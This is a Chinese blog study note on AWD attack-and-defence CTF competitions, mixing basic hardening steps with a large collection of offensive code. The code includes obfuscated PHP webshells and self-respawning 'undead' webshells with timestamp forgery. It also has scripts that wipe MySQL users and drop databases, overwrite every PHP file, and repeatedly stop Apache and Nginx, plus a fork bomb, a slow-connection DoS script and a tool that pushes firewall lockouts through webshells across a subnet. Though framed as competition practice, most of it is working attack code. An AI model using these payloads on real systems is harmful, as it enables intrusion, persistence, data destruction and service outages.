AWD学习日记一

前言

AWD到时方恨不会,今一年两年没有打线下赛了,脚本也没有了,工具也没有。赶紧跟着大佬复习一波,做一下笔记。
建议:脚本一定要经过测试,要不然上场了一样是不熟悉,用不起来

关于AWD

AWD: Attack With Defence,一般比赛中每个队伍维护几台服务器,分别为web和pwn。web服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 战队有自己的初始分数;
  • flag在主办方的设定下每隔一定时间,时间一般5-10分钟刷新一轮;
  • 其他队伍提交你的flag,你的队伍扣分,他加分;
  • 动态积分制,每一轮的分数会下降,直到最低(看主办方);
  • 主办方会对每个队伍的网站或服务进行check,服务宕机扣除本轮flag分数;
  • 战队不能攻击主办方
  • 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 分配的pwn服务器,服务器多为ubantu,需要本地提权后再用户提权。
  1. 域渗透:也可以叫内网渗透,Windows AD 域环境,更贴近实战
  2. 高地模式:每只队伍服务器可以访问,没有权限,需要自己去获取权限。同时存在高地服务器,不属于任何一支队伍,每只队伍竞争高地服务器权限。

详细参考


Attack With Defence

回忆过去的经验,打AWD比赛有几点需要注意:

  • 准备好一些自己熟悉常用的脚本,最起码是练习时可以使用的
  • 漏洞搜索能力,主办方出题都估计是现有漏洞,有本事0day也可以属于你
  • 快速反应能力与代码编写能力

修改ssh密码

passwd username
# 输入密码确认即可

修改数据库密码及备份数据库

1. 登录 mysql 终端,运行:
mysql> set password=password('new password');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)

数据库恢复,在mysql终端执行

# 命令格式:source FILE_PATH
source ~/db.sql(原数据库需存在)

源码备份

备份!备份!备份!

# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz

查找后门

用D盾扫描备份的文件,查找预留后门,第一时间删除自己靶机上的后门,也可以利用批量脚本后门攻击其他靶机。

端口扫描

使用工具对目标网站进行扫描,目标服务器开放的端口,方便进行漏洞利用。

扫描工具:Namp,御剑等等。

以下是一些服务端口的漏洞:

22:  ssh弱口令
873: 未授权访问漏洞
3306:mysql弱口令
6379:redis未授权访问漏洞

WebShell隐藏与利用

隐藏shell

文件命名形式:
.shell.php
-shell.php

特殊Shell形式

1、连接方式:php?2=assert密码是1。

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

2、配置为?b=))99(rhC(tseuqeR+lave

<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

3、配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

<?php
$sF= "PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

4、MD5木马

将pass中换成你熟悉的Md5,防止他人利用。

<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>

5、MD5木马+利用header

<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>

上传不死马

例子

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);

$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["ZX"]);} ?>';
$passwordHash = "6daf17e539bf44591fad8c81b4a293d7";

while (true) {
    file_put_contents($file, $code);
    system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file");
    usleep(5000);
}
?>


#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,用蚁剑连接。

双写入shell

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);

$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["ZX"]);} ?>';

while (true) {
    file_put_contents($file, $code);
    system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file");

    file_put_contents($file1, $code);
    system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file1");

    usleep(5000);
}
?>

浏览器访问at.php,生产不死马at2.php

url/upload/at.php
获取命令
url/upload/at2.php?passwd=obse007&at=system('ls');

alias起别名

将攻击命令用改成别的命令

alias curl="echo nothing"

删除

unalias -a

对方执行cat /flag命令的时候回显就是错误flag

alias cat="echo `date`|md5sum|cut -d ' ' -f1||"

获取 flag 一般是 curl http://xxx.com/flag.txt

alias curl='echo fuckoff' #权限要求较低,可以在这里改成虚假的flag
# 或者
chmod -x curl #权限要求较高
/usr/bin curl路径

扰乱比赛方式(慎用)

无限复制

<?php
  set_time_limit(0);
  ignore_user_abort(true);
  while(1){
      file_put_contents(randstr().'.php',file_get_content(__FILE__));
      file_get_contents("http://127.0.0.1/");
  }
?>

修改数据库密码

update mysql.user set authentication_string=PASSWORD('p4rr0t');# 修改所有用户密码
flush privileges;
UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root'; 
flush privileges;
delete from mysql.user ;#删除所有用户
flush privileges;

重启 apache2 和 nigix

#!/usr/bin/env sh
while [[ 1 ]]
do
    service apache2 stop
    service nginx stop
done &

循环删除

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    function getfiles($path){
        foreach(glob($path) as $afile){
            if(is_dir($afile))
                getfiles($afile.'/*.php');
            else
                @file_put_contents($afile,"#Anything#");
                //unlink($afile);
        }
    }
    while(1){
        getfiles(__DIR__);
        sleep(10);
    }
?>

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    array_map('unlink', glob("some/dir/*.php"));
?>

删除数据库

#!/usr/bin/env python3
import base64

def rm_db(db_user, my_db_passwd):
    cmd = f"/usr/bin/mysql -h localhost -u {db_user} -p{my_db_passwd} -e '"
    db_name = ['performance_schema', 'mysql', 'flag']
    for db in db_name:
        cmd += f"drop database {db};"
    cmd += "'"
    return cmd

# 示例用法
db_user = 'your_username'
my_db_passwd = 'your_password'
command = rm_db(db_user, my_db_passwd)
print(command)

fork_bomb

#!/bin/sh
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;

DOS脚本(非必要最好不要用)

import socket
import time
import threading

max_connections = 90000000
port = 80                 # 端口
host = "192.168.92.154"   # IP
page = "/index.php"

attack_payload = (
    f"POST {page} HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    "Content-Length: 1000000000\r\n"
    "Cookie: 1998\r\n"
    "\r\n"
)

socks = []

def connect():
    global socks
    for _ in range(max_connections):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((host, port))
            s.send(attack_payload.encode("utf-8"))
            socks.append(s)
        except Exception as ex:
            time.sleep(1)

def send():
    global socks
    while True:
        for s in socks.copy():
            try:
                # 实际攻击请求的逻辑
                s.send(attack_payload.encode("utf-8"))
                print("攻击中....")
            except Exception as ex:
                socks.remove(s)
                s.close()
        time.sleep(0.1)

if __name__ == "__main__":
    # 使用 threading.Thread 的参数 daemon=True 可以使得主线程退出时子线程也退出
    One = threading.Thread(target=connect, args=(), daemon=True)
    Two = threading.Thread(target=send, args=(), daemon=True)
    One.start()
    Two.start()

    # 等待用户输入任意键终止程序
    input("Press any key to stop the attack...\n")

在加固阶段,每个堡垒机都有一个Web在运行。而这些站点可能存在相应的漏洞和后门。基本上都会有shell留在隐秘的角落…

所以我们就可以通过前期搜寻到的后门,进行操作。这里直接用linux的防火墙进行关闭即可。

在正常情况下:这样的话就直接把系统的后门全杀掉了。只允许22 80 21端口可以进行访问。

首先开启 22 80 21

iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j ACCEPT

然后关闭

iptables -A INPUT -j DROP

在手动一个个连shell搅shi的话,是非常慢的。于是写了个小脚本。

遍历整个IP段,并将防火墙开启全部屏蔽掉~~

import requests

base_url = "http://192.168.182"
port = '80'
shell = "/shell.php"
passwd = "a"

payloads = {
    passwd: "system('iptables -A INPUT -j DROP');"
}

def scan_hosts():
    for i in range(1, 254):
        url = f"{base_url}.{i}:{port}{shell}"
        print(url)
        try:
            res = requests.get(url, params=payloads, timeout=1)
            print(res.text)
        except requests.RequestException as e:
            print(f"Error: {e}")
            # 如果你只是想打印未找到主机的消息,可以注释掉上面的行并取消下面的注释
            # print("未找到主机")

if __name__ == "__main__":
    scan_hosts()

  • 16
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
bugku s1 awd排位赛-12是Bugku安全平台上举办的一场AWD(Attack and Defense)排位赛的第12轮比赛。Bugku是一个致力于网络安全技术研究和交流的平台,这场比赛的目的是为了检验参赛者在攻击和防御方面的技术实力。 在AWD比赛中,参赛队伍被分为进攻方和防守方。进攻方需要利用各种手段,如漏洞利用、渗透测试等,成功攻击防守方的系统或应用程序,获取旗帜(Flag)作为证明。而防守方则需要尽可能地去发现并修补自己系统或应用程序中的漏洞,以防止被攻击方获取旗帜。 在bugku s1 awd排位赛-12中,参赛者们经过激烈的竞争,展示了他们在网络安全领域的知识和技能。比赛中的题目可能涉及到各种不同的技术,如Web安全、二进制安全、密码学等。参赛者需要运用他们的专业知识和创新思维来解决这些挑战。 AWD比赛不仅仅是一场技术竞赛,更是一个学习和提高的机会。通过参与这类比赛,参赛者可以锻炼自己的技术能力,增强他们对网络安全的理解和认识。此外,比赛还促进了参赛队伍之间的交流和合作,提供了一个分享和学习经验的平台。 总而言之,bugku s1 awd排位赛-12是一个让参赛者在攻击和防御中展示自己技术的平台,并提供了一个促进交流和学习的机会。通过这样的比赛,可以推动网络安全领域的发展,培养更多优秀的安全人才。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值